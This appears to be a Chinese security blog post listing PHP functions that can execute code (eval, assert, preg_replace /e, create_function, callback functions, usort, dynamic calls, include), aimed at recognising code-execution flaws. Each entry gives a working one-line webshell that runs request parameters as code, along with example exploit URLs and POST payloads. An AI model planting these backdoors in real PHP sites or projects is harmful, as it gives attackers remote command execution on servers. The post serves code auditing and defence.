PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码常见危险函数做一些归纳。
常见危险函数函数,如
eval()、assert()、preg_replace()、create_function()array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort() 文件操作函数、动态函数(a(a(a(b))
1、eval()
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
php
复制代码
<?php eval($_POST[cmd]); ?>
2、assert()
与eval类似,字符串被 assert() 当做 PHP 代码来执行,例如:
php
复制代码
<?php //?cmd=phpinfo() assert($_REQUEST[cmd]); ?>
3、preg_replace()
mixed preg_replace ( mixed pattern,mixedpattern , mixed pattern,mixedreplacement , mixed subject[,intsubject [, int subject[,intlimit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码。
php
复制代码
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
4、create_function()
create_function(string args,stringargs,string args,stringcode)
args是要创建的函数参数,code是函数内的代码。
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
php
复制代码
<?php //?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?>
参考链接:
代码安全:PHP create_function()注入命令执行漏洞
lovexm.blog.51cto.com/3567383/174…
5、array_map()
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
php
复制代码
<?php //?func=system&cmd=whoami $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?>
6、call_user_func() 与 call_user_func_array ()
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。
php
复制代码
<?php //?cmd=phpinfo() @call_user_func(assert,$_GET['cmd']); ?> <?php //?cmd=phpinfo() $cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>
7、array_filter()
array array_filter ( array array[,callablearray [, callable array[,callablecallback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
php
复制代码
<?php //?func=system&cmd=whoami $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?>
8、usort() 与 uasort()
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
php环境>=5.6才能用
php
复制代码
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert [POST]:x=phpinfo(); php环境>=<5.6才能用 <?php usort($_GET,'asse'.'rt');?> 利用方式: test.php?1=1+1&2=eval($_POST[x]) [POST]:x=phpinfo();
10、动态函数
PHP函数直接由字符串拼接
php
复制代码
<?php //?a=assert&b=phpinfo() $_GET['a']($_GET['b']); ?>
11、include,include_once,require,require_once
包含函数可读取任意文件,并执行其中PHP代码。
上边这句话很可怕,因为其可以执行远程文件或者本地文件。
读取任意文件内容,这就需要用到《支持的协议和封装协议》及《过滤器》
例如使用PHP流filter读取任意文件,或者使用base64。
有好的建议,请在下方输入你的评论。
欢迎访问个人博客 guanchao.site
欢迎访问我的小程序:打开微信->发现->小程序->搜索“时间里的”